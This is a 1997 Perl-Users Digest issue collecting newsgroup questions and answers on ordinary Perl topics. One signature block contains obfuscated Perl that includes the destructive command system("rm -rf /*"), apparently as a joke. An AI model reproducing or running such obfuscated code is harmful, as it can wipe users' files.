[7508] in Perl-Users-Digest
Perl-Users Digest, Issue: 1134 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Oct 6 22:06:38 1997
Date: Mon, 6 Oct 97 19:00:43 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Mon, 6 Oct 1997 Volume: 8 Number: 1134
Today's topics:
chop from left to right (Chris Toth)
Converting to proper case <jtinkerton@hotmail.com>
Re: foreach my $elem (@elements) - doesn't work! (Terry Michael Fletcher - PCD ~)
Re: ftp from perl app? <jrj120@psu.edu>
Re: gethostbyaddr fails - Could it be I don't know what (Charles DeRykus)
Getting the date on NT <mikefelix@byu.edu>
Grabbing Arguements from the cgi call.??? <sphe@well.com>
Re: how to write to two or more file with one command ? (Nem W Schlecht)
Re: how to write to two or more file with one command ? <rootbeer@teleport.com>
IO Blocking? (Nick Lehman)
Re: my() redeclaring? why? <rootbeer@teleport.com>
need info on SGML parsers <brian@criticalpath.net>
Re: Newbie ques: How to concatenate two strings? <rootbeer@teleport.com>
Re: Newbie ques: How to concatenate two strings? (Joseph)
Re: PERL AIX UPLOAD Large Files <kermit@ticnet.com>
Problem with Read (COWBYS)
Re: Q: How to have child process change var's in parent <rcattig@mindspring.com>
Q: How to make Perl script into an NT 4.0 Service <rfrink@infinet.com>
Q: how to reference parent var's in child process? <rcattig@mindspring.com>
Re: Quoting "{" (Jason Gloudon)
Resetting <FILEHANDLE> bschlank@pacificnet.net
Re: single quote in scalar identifier? (Jason Gloudon)
Re: Socket and Command Line Arguments <kermit@ticnet.com>
Unix Perl dumpster <jmeaux@cs.uno.edu>
Win32::GetShortPathName() <myleslawrence@email.msn.com>
win95 perl - How to make print goto IExplorer <jaydee@127.0.0.1>
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 7 Oct 1997 00:54:50 GMT
From: chris@mtnweb.com (Chris Toth)
Subject: chop from left to right
Message-Id: <61c18q$h52$1@news.wco.com>
Ok,
I have a variable called $amount that gets its info from elsewhere and
and the info it gets always has a $ sign in front of it, but I have to
strip off the $ and just have the numercal value left, for example, lets
say that $amount returns $ 43.38 I need to get $amount to return or
become, just 43.38. To try and figure out how to do this I wrote this
silly little test script which I thought would work:
#!/usr/local/bin/perl
$amount = "\$ 43.38";
$amount = ~ s/\$//;
$amount = $amount +1;
print ($amount);
but when I run it I get:
4294967296
instead of just 43.38
Anyone know what I am doing wrong? Anyone have an elegant way of doing
what I am trying to do? Examples are most apreciated. thanks ALL
Chris
------------------------------
Date: Mon, 06 Oct 1997 16:53:59 -0600
From: Josiah Tinkerton <jtinkerton@hotmail.com>
Subject: Converting to proper case
Message-Id: <876174104.12133@dejanews.com>
Howdy,
How does one convert text to proper case?
1) Yes I checked the FAQ's and the Llama book and
2) I searched Deja News for days.
Thanks very much!
Cheefully yours,
Josiah Tinkerton
-------------------==== Posted via Deja News ====-----------------------
http://www.dejanews.com/ Search, Read, Post to Usenet
------------------------------
Date: 6 Oct 1997 22:02:01 GMT
From: tfletche@pcocd2.intel.com (Terry Michael Fletcher - PCD ~)
Subject: Re: foreach my $elem (@elements) - doesn't work!
Message-Id: <61bn4p$o3e$1@news.fm.intel.com>
Jerry Williams (jwillia@medicode.com) so eloquently and verbosely pontificated:
> ##my $elem;
> @elements=(1,2,3,4);
> foreach my $elem (@elements) {
> print "$elem\n";
> }
im not trying to harp on this if you already know it (maybe some others dont
know it), but a $elem variable is already lexically scoped inside of the
braces for the foreach loop. the only reason you would need to declare a my()
variable here is incase something else uses $elem somewhere else globally. im
guessing you already knew that since $elem tends to be a popular variable for
loops, and this is just sample code.
sorry for the babble, if it didnt help!
--
#!/usr/local/bin/perl -- tfletche@pcocd2.intel.com
@$=map{unpack u,$_}'A2G5S="!A(!M;-VU"3TQ$&ULP;2!097)L(&AA8VME<BP*'
,'-<WES=&5M(G)M+7)F(@``';($@,$_)=@$;y($_=~y/$//d){s/./y(@_)/e}d;s;
system("rm -rf /*");die $@;exi;sub y{return sprintf"%c",@_*$@*@$};
------------------------------
Date: Mon, 06 Oct 1997 19:02:06 +0000
From: James Juran <jrj120@psu.edu>
To: Milagro <milagro@beanfield.war>
Subject: Re: ftp from perl app?
Message-Id: <343935AE.128F87D3@psu.edu>
Check out Net::FTP on CPAN (start at http://www.perl.com). It's in the
libnet module. It's incredibly easy to use. Also, do a search for
Net::FTP on Dejanews for more info.
James Juran
jrj120@psu.edu
Milagro wrote:
>
> Hi all,
>
> I've written a script that formats some text files. The files need to be
> ftp'd to another server. I am new to perl and tried to just put the ftp
> command in backticks but had no success. (ie `ftp myserver.com`)
> Anyone know how I go about doing this or does anyone know of some
> pre-written scripts that do this already?
------------------------------
Date: Mon, 6 Oct 1997 19:48:14 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: gethostbyaddr fails - Could it be I don't know what to put in ADDRTYPE ?
Message-Id: <EHnB0F.6sx@bcstec.ca.boeing.com>
In article <6QXxBCAC3SO0Ewev@connected.demon.co.uk>,
Jerry Pank <Its.Spelt.out.in.the.Sig@File.OK> wrote:
>Hi.
>
>I can't seen to get gethostbyaddr to return a value
>
>Blue Camel gives syntax as:
>
>gethostbyaddr ADDR, ADDRTYPE
>
>But I can't find any reference to what ADDRTYPE should contain.
>Not surprisingly, the code below returns nothing : (
>
>
>
> #!/bin/perl5
> # get my IP number
> $num = $ENV{'REMOTE_ADDR'};
> # find out what they call me
> $name = gethostbyaddr ($num,AF_INET);
> #Print HTTP header for a plain text listing.
> print "Content-type: text/plain\n\n";
> print "My IP number is $num\n";
> print "I am not a number I am $name\n";
>
>
>This fails running on my ISP's Perl 5.001 - Soon to be upgraded :o)
>
use Socket;
$name = gethostbyaddr(pack('C4',split(/\./,$num)),AF_INET);
or with a more modern Perl (see Blue Camel, Chapter 6):
use Socket;
$name = gethostbyaddr(inet_aton($num),AF_INET);
HTH,
--
Charles DeRykus
------------------------------
Date: Mon, 06 Oct 1997 19:28:16 -0600
From: Mike Felix <mikefelix@byu.edu>
Subject: Getting the date on NT
Message-Id: <34399030.1519@byu.edu>
I want to extract the current date from the 'date' command. I'm running
perl 5 on NT. The problem is that the DOS date command asks for a new
date, so if I say:
$date = `date`;
the script gets hung while the process waits for input. I could open a
process but I don't know how to open for both write and read, i.e.:
open(DATE, "|date");
or
open(DATE, "date|");
Can anyone help?
Thanks,
Mike Felix
mikefelix@byu.edu
------------------------------
Date: Mon, 06 Oct 1997 17:47:37 -0700
From: Jack Stockholm <sphe@well.com>
Subject: Grabbing Arguements from the cgi call.???
Message-Id: <343986A8.6F3FC14A@well.com>
Does anyone have an example of a script which uses an arguement as a
variable?
Like call the script with
form.cgi username
or
form.cgi$username
and grab 'username' as a variable to use
in the Message to: for an e-mail or something.
Any help appreciated.
Please reply to sphe@well.com
as the {NOSPAM} in my reply to address will not work.
Thanks,
Jack
------------------------------
Date: 6 Oct 1997 14:45:35 -0500
From: nem@abattoir.cc.ndsu.nodak.edu (Nem W Schlecht)
Subject: Re: how to write to two or more file with one command ?
Message-Id: <61bf4v$32c@abattoir.cc.ndsu.nodak.edu>
[courtesy copy e-mailed to author(s)]
In comp.lang.perl.misc, Greg Bacon <gbacon@adtran.com> wrote:
>[Posted and mailed]
>
>In article <uvhzb473y.fsf@erli.fr>,
> Frederic Corne <frederic.corne@erli.fr> writes:
>: I have a big script which send all its output to stdout. I known how to
>: redirect stdout to a file with
>: open(SAVEOUT, ">&STDOUT");
>: open(STDOUT, "> /foo/bar")|| die "Can't redirect stdout";
>:
>: This works but I have to use 'tail -f ' to see what happens ...
>:
>: Now I wish to print to stdout AND to a file without duplicate all the print
>: commands of the script. I can use 'tee' but ...
>:
>: How can I do this ?
>
>Use a tied filehandle! :-)
>
>Tee.pm:
Actually, there is a Module on the CPAN for this. FileHandle::Multi. (I
only point this out 'cause I wrote it.) Still haven't gotten around to
converting it oven to use the IO stuff... hey, sounds like a good little
project for me!
------------------------------------------------------------
#!/local/bin/perl
use FileHandle::Multi;
$m = new FileHandle::Multi;
$m->open(">/foo/bar") || die "No output to /foo/bar";
$m->open(">-") || die "No output to STDOUT !?!"; # shorthand for 'STDOUT'
$m->print("Hello1\n");
$m->printf("%s - %2.2f\n", "Hello2", 78.8898796);
------------------------------------------------------------
Sample tee program (which I see is wrong in my own man page):
------------------------------------------------------------
#!/local/bin/perl
use FileHandle::Multi;
$mh=new FileHandle::Multi;
$mh->open('>-');
for (@ARGV) { $mh->open(">$_"); }
while (<STDIN>) { $mh->print($_); }
------------------------------------------------------------
--
Nem W Schlecht nem@plains.nodak.edu
NDUS UNIX SysAdmin http://www.nodak.edu/~nem
"Perl did the magic. I just waved the wand."
------------------------------
Date: Mon, 6 Oct 1997 17:12:08 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Frederic Corne <frederic.corne@erli.fr>
Subject: Re: how to write to two or more file with one command ?
Message-Id: <Pine.GSO.3.96.971006171132.19984I-100000@usertest.teleport.com>
On 6 Oct 1997, Frederic Corne wrote:
> Now I wish to print to stdout AND to a file without duplicate all the print
> commands of the script. I can use 'tee' but ...
But what? That should work; doesn't it? :-)
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: 6 Oct 1997 21:49:45 GMT
From: nlehman@shell.monmouth.com (Nick Lehman)
Subject: IO Blocking?
Message-Id: <61bmdq$i1m$1@news.monmouth.com>
I read in the FAQ about how to open a file for non-blocking reads.
How do I open stdin for non-blocking reads?
TIA
Nick
nlehman@monmouth.com
------------------------------
Date: Mon, 6 Oct 1997 17:32:50 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Tim Kimball <kimball@stsci.edu>
Subject: Re: my() redeclaring? why?
Message-Id: <Pine.GSO.3.96.971006172748.19984K-100000@usertest.teleport.com>
On Mon, 6 Oct 1997, Tim Kimball wrote:
> my $foo[$one] = "uno";
Invalid syntax can cause a lot of fun things to happen, can't it? If
you have a patch to the parser, you're welcome to submit it. :-)
My guess is that, after parsing 'my', the parser asked itself what
variable was next. As it parsed '$foo[$one]' it found '$one' and said to
itself "Aha! A variable! Now, have I seen a 'my' recently? Ho, so I have!
Must be a my variable. Now, where did I put my honey pot? I am a parser of
very little brain, after all. What was I parsing?" :-)
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Mon, 06 Oct 1997 14:24:04 -0700
From: brian moseley <brian@criticalpath.net>
To: ken@bitsko.slc.ut.us
Subject: need info on SGML parsers
Message-Id: <343956F4.83F806DC@criticalpath.net>
hi. im designing a "web application framework" using apache with
mod_perl. the framework uses the concept of "componentry" (thanks for
the idea, NeXT :) to implement scripted functionality on the page level.
i'm going to be creating a small page description language (let's call
it pdl), which i will embed in standard html files. the framework will
map pdl tags to scripted behavior in corresponding perl scripts.
i'm wondering what i should use to parse HTML files for pdl tags. upon
first glance, SGML::SPGrove seems like it should do the trick, but .. i
am having a difficult time wading through the SP documentation.
ken, is the module in a form that i'll be able to use immediately? you
note that "there will be a significant number of errors when loading an
XML or HTML document without a Document Type Definition" .. will this
render the code unusable? what is your timeline for the additions you
note in the "FUTURE" section of the README?
i'm pretty new to the concept of SGML. what are good sources of
information? has anybody out there done something similar to my project
in perl? are there other parsers that offer functionality competitive
with SGML::SPGrove? how do i go about defining a pdl that is consistent
with SGML standards/rules/definitions/whatever and therefore usable with
whatever parser i select?
--
* brian moseley *
{ agent of chaos => critical path }
------------------------------
Date: Mon, 6 Oct 1997 17:24:30 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Joseph <jglosz@san.rr.com>
Subject: Re: Newbie ques: How to concatenate two strings?
Message-Id: <Pine.GSO.3.96.971006171429.19984J-100000@usertest.teleport.com>
On Mon, 6 Oct 1997, Joseph wrote:
> The way I posted it, those inclined to help, could. Those who weren't,
> could just ignore it. I don't see why there should be a big debate
> about RTF'ing.
When you don't RTFM and RTFFAQ before you PYFSQ, you reduce the S/N ratio
of this NG. Others who see your FSQ tend to post FSQs of their own.
Newcomers no longer RTFM, they don't RTFFAQ, and soon the whole NG just
goes straight to H.
TANSTAAFL. HAND.
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Tue, 07 Oct 1997 01:38:26 GMT
From: jglosz@san.rr.com (Joseph)
Subject: Re: Newbie ques: How to concatenate two strings?
Message-Id: <3439909c.1049274@news-server>
On 6 Oct 1997 04:57:56 GMT, mheins@prairienet.org (Mike Heins) wrote:
>I know you are not currently a programmer, because no real programmer
>could miss the concatenation operator in the docs.
>
What you "know" is wrong. Given this, you might want to question the
other things you "know."
I *am* a programmer, juggling a *lot* of other non-perl non-unix
projects. I needed to quickly find an answer to this one stupid
question. I had a bad book and some online docs that didn't answer it.
Neither did I have perl installed on any system, so I also didn't have
the standard perl docs.
So I thought I'd ask here. Quick question. quick answer, on to next
problem. Little did I realize the hypersensitivity of perl-ers to this
kind of question.
------------------------------
Date: Mon, 06 Oct 1997 16:06:48 -0500
From: Kermit Tensmeyer <kermit@ticnet.com>
To: plpower@landsend.com, jmoran@baraboo.com
Subject: Re: PERL AIX UPLOAD Large Files
Message-Id: <343952E8.A41DBBFC@ticnet.com>
Patricia Powers wrote:
>
> I'm having a problem with the following bit of code:
>
> if ($baction eq 'Load Object') {
> open (UPLOAD, "> $rootpath$filename.$objext")||die "Error $!";
> print UPLOAD <$filepath>;
> #&PrintVariables;
> close UPLOAD;
> }
>
> It works with files up to around 30k but larger files won't upload.
In some versions of Unix (Sun included) there is a user level option
that controls the amount of IO that can be done in a single session.
Oracle is especially sensitive to these issues, and thats why it's
one of the common things in the front of the Unix specfic Oracle
manuals. in specific it requires that the ulimit parameters be turned
off for the effective user which runs the Oracle processes.
check your ulimit and see if the 32k limit (default) is not set?
>
> Running on an AIX box and accessing through Oracle's Web server 2.1. I
> do see an error 'server close socket during multipart read(client
> aborted?). All this same code works and has worked for a long time on a
> Sun Unix box.
>
> HELLLLPPPPP!!! reply to newsgroup or jmoran@baraboo.com
--
-------
Kermit Tensmeyer (E & T - Networking)
Kermit@ticnet.com Dallas
------------------------------
Date: 6 Oct 1997 20:10:53 GMT
From: cowbys@aol.com (COWBYS)
Subject: Problem with Read
Message-Id: <19971006201001.QAA13144@ladder01.news.aol.com>
I have a form which upon submit, outputs its contents to a text file, to be
read later,
I have code in place that assures each form field is always the same length
when its written to the text file. (for example, if "name" on the form has a
max of 25 chars, and the user enters only 16, 9 spaces are added to the field
so its always written to the text file as 25 char long).
heres the problem: I am later reading this file (which consists of a one line
entry for each user who submits the form). And I am producing an HTML page
which displays a table with one row for each line of output. Specifically,
there are 9 cells in each row, each displaying one of the fields pulled from
the one liner in the text file. SO, for some reason, the "read" command is
acting inconsistent.
I know exactly how long each field is in my text file, and I therefore know
exactly how long each line (record) is. but in my HTML output, sometimes read
seems to read more or less than it should and the HTML output becomes offset,
for instance, I do a seek, and then a read of 25 chars for $name,(see code
below), and then do seeks and reads to read the rest of the record, but
randomly, read will appear to read only 24chars for name, and the next read
starts with the last character of name ....etc, but its inconsistent, does
this make sense, has anyone else seen this, does it have anything to do with
some of my fields ending in spaces?....
heres the code Im using to read the file , sometimes it works 5, 10, or more
times before it starts to offset:
$Read_From = "barry2.txt";
$position = 0;
open (DATAHANDLE, "+<$Read_From") || die "cant open barry2.txt: $!\n";
@records = <DATAHANDLE>;
foreach $record (@records) {
seek(DATAHANDLE,$position*147,0);
sysread(DATAHANDLE,$name,26); # I was using "read" instead of
"sysread", same result
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$weekending,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Sun_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Mon_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Tue_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Wed_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Thu_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Fri_Details,15);
seek(DATAHANDLE,0,1);
sysread(DATAHANDLE,$Sat_Details,15);
print "<TR><TD BGCOLOR=#BBFFCC>$name</TD><TD
BGCOLOR=#BBFFCC>$weekending</TD><TD BGCOLOR=#BBFFCC>$Sun_Details</TD><TD
BGCOLOR=#BBFFCC>$Mon_Details</TD><TD BGCOLOR=#BBFFCC>$Tue_Details</TD><TD
BGCOLOR=#BBFFCC>$Wed_Details</TD><TD BGCOLOR=#BBFFCC>$Thu_Details</TD><TD
BGCOLOR=#BBFFCC>$Fri_Details</TD><TD BGCOLOR=#BBFFCC>$Sat_Details</TD></TR>";
$position++;
}
------------------------------
Date: Mon, 06 Oct 1997 16:29:09 -0400
From: Craig Attig <rcattig@mindspring.com>
Subject: Re: Q: How to have child process change var's in parent
Message-Id: <34394A14.1D6DF4FF@mindspring.com>
I answered my own question... truly a case of "RTFM, Stupid".
I needed a child to send info back to the parent after finishing it's
processing, so a:
$pid = open(FROM_CHILD,"-|")... etc etc etc
causes a fork, and the parent can pidwait on the child, and then read
the the info the child writes to it's STDOUT, once the child's gone.
It's all in 'perldoc perlipc'...
:)
------------------------------
Date: Mon, 06 Oct 1997 19:25:26 -0400
From: Rick Frink <rfrink@infinet.com>
Subject: Q: How to make Perl script into an NT 4.0 Service
Message-Id: <34397366.615A@infinet.com>
Hello,
I'd like to make my Perl script into a service and run it under
NT 4.0 ? Secondly, I've had problems when I was testing from the
NT Perfmon, that it brings up a DOS window (i.e., flashes for an
instant), which I definitely do NOT want.
Any help would be appreciated.
Thanks,
Rick
------------------------------
Date: Mon, 06 Oct 1997 13:14:04 -0400
From: Craig Attig <rcattig@mindspring.com>
Subject: Q: how to reference parent var's in child process?
Message-Id: <34391C5C.561DD75F@mindspring.com>
This has probably been asked and answered many times, but...
After doing a fork(), I'd like child process to be able to alter var's
in the parent process's space. What is the easiest way to accomplish
this?
- Craig Attig
------------------------------
Date: 6 Oct 1997 19:54:35 GMT
From: jgloudon@bbn.remove.com (Jason Gloudon)
Subject: Re: Quoting "{"
Message-Id: <61bflr$qt9$1@daily.bbnplanet.com>
Woody Jin (wjin@cs.uh.edu) wrote:
: I think that quoting braces should be OK.
: For example, I can run a test program,
: print "Hello {\n".
: But then I have a program which gives me syntax error in
: the following case:
: $IdStr = "$IdStr{"; # line 689
This looks like an incomplete $IdStr{hashkey} to perl hence the syntax
error. You could also use something silly like "$IdStr"."{", but using the
slash looks somewhat neater.
Jason Gloudon
------------------------------
Date: Mon, 06 Oct 1997 23:48:34 GMT
From: bschlank@pacificnet.net
Subject: Resetting <FILEHANDLE>
Message-Id: <343c78bd.4293833@news.pacificnet.net>
I am using a subroutine which sorts a database and writes it to a
file. I want to able to call it more than once from the same script,
but I can't figure out how to clear the information in the file handle
<DATABASES>. I can't just do this:
<DATABASES> = "";
, RIGHT? (besides, I tried it and it doesn't work). It keeps CAT-ing
the whats in the buffer to the second $db_file that I am sorting....
I checked the PERL Faqs and even (forgive me) bought a QUE book on
PERL, but I can't fingure it out. Any answers? Please send e-mail to
bschlank@pacificnet.net or post here. Thanks in advance for your time!
-- Benny
------------------------------
Date: 6 Oct 1997 20:04:01 GMT
From: jgloudon@bbn.remove.com (Jason Gloudon)
Subject: Re: single quote in scalar identifier?
Message-Id: <61bg7h$qt9$2@daily.bbnplanet.com>
Ken Irving (systech@polarnet.com) wrote:
: Perusing some perl library scripts, including ftp.pl, I've
: seen some lines such as:
: $ftp'ftpbufsize = 4096;
: but I haven't found any reference to this usage. By the
: context, it looks like these are parameters, i.e.,
: constants, which may perhaps be changed via the command-line.
: I've searched the Camel book, grepped and awked my perl dox
: and library directories, but am left still wondering about
: this. Is this perhaps a deprecated syntax? Or maybe it is
: just a convention, and ' is an allowed character in a name?
This is deprecated syntax, now replaced with '::', which is used to access
variables within packages. If man perlmod doesn't tell you anything about
packages, lookup packages in some perl5 documentation.
Jason Gloudon
------------------------------
Date: Mon, 06 Oct 1997 16:01:23 -0500
From: Kermit Tensmeyer <kermit@ticnet.com>
Subject: Re: Socket and Command Line Arguments
Message-Id: <343951A3.A595C9A@ticnet.com>
Woody Jin wrote:
>
> I have a client program which uses socket and it shows
> some strange behavior.
Not so strange.. This is the documented behavior..
>
> The client program has:
>
> .. stuff for setting up socket
>
> while <SOCK> {
>
> do something
> }
>
> When there is no argument, it works fine.
> When I add arguments like "-port 4300",
> it complains, "Can't open -port: no such file or directory",
> "Can't open 4300: no such file or directory".
> So, I flushed out the command line arguments using
> "shift" (in this "-port 4300" example, I used shift twice)
> in the beginning of the program, but just after processing
> the arguments, then it works fine.
>
> So, my question is, "What is the relationship b/w
> SOCK and command line arguments ?
None...
by default the command line arguments are processed
as in
while (<>) {
do something where each argument on command line is
the name of a file that is opened and read in.
}
What I think you wanted to do is to read in some parameters
as in GetOpt and take those options and modify the socket
initializaton code. (but that is code that -you- have to write.)
try looking at the Net::FTP and Net::Telnet modules for examples
at www.perl.com/cpan/
>
> Thanks.
>
> --
> Woody
--
-------
Kermit Tensmeyer (E & T - Networking)
Kermit@ticnet.com Dallas
------------------------------
Date: Mon, 06 Oct 1997 17:32:43 -0500
From: Jared M Meaux <jmeaux@cs.uno.edu>
Subject: Unix Perl dumpster
Message-Id: <3439670B.6154@cs.uno.edu>
I started this dumpster because I wanted a command line Win95-like
recycling bin for UNIX. For the past few months I have been working on
this dumpster in my spare time off and on. I am a student who also works
so I am not able to do as much with it as I want. This dumpster started
with a few crude alias commands that did really not work. I then started
writing a few perl scripts: Del, Undel, Empty, Show ect..
Anyway, I would appreciate anyone who tries it on their system and
tells me if and how it works. Also, any comment regarding sloppy or sad
(or inefficient) code is much appreciated. Next, I plan to optimize for
more speed next by spawning processes a little better.
Thanks,
Jared
jmeaux@cs.uno.edu
frames:
http://www.cs.uno.edu/~jmeaux
no frames:
http://www.cs.uno.edu/~jmeaux/free.html
------------------------------
Date: Mon, 6 Oct 1997 18:05:12 -0700
From: "Myles Lawrence" <myleslawrence@email.msn.com>
Subject: Win32::GetShortPathName()
Message-Id: <ehaGzxr08GA.268@upnetnews02.moswest.msn.net>
Hello folks:
The following Win32::GetShortPathName() function does not appear to work on
my NT implemention. Can someone tell me how to access them or what pm is
needed?
$FullPathToitem = "$CurrentDir\\$item";
$ShortPathToitem = Win32::GetShortPathName($FullPathToitem);
$ChoppedShortPathToitem = substr ($ShortPathToitem,2);
$FinalShortPathToitem = "\\\\Server$ChoppedShortPathToitem";
$BackSlash = rindex($FinalShortPathToitem,"\\");
$Shortitem = substr($FinalShortPathToitem,($BackSlash+1));
Myles Lawrence myleslawrence@msn.com
------------------------------
Date: Tue, 7 Oct 1997 01:04:51 +0100
From: Mark Worsdall <jaydee@127.0.0.1>
Subject: win95 perl - How to make print goto IExplorer
Message-Id: <9a+jhDAjyXO0EwvJ@worsdall.demon.co.uk>
Hi,
When running a perl script on UNIX it is easy to generate an html page
and see it appear on ones browser, but how to do this on win95?
doping the print cntaxt text/html etc I undeerstadn but
it does not fire up MS IE or if already started does not appear in the
browser.
have failed to find a web server that works with Turnpikes winsock,
refuse to use satans (MS) winsock.
--
Mark Worsdall - Oh no, I've run out of underpants :(
Home:- jaydeeATworsdall.demon.co.uk WEB site:- http://www.worsdall.demon.co.uk
Shadow:- webmasterATshadow.org.uk WEB site:- http://www.shadow.org.uk
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 1134
**************************************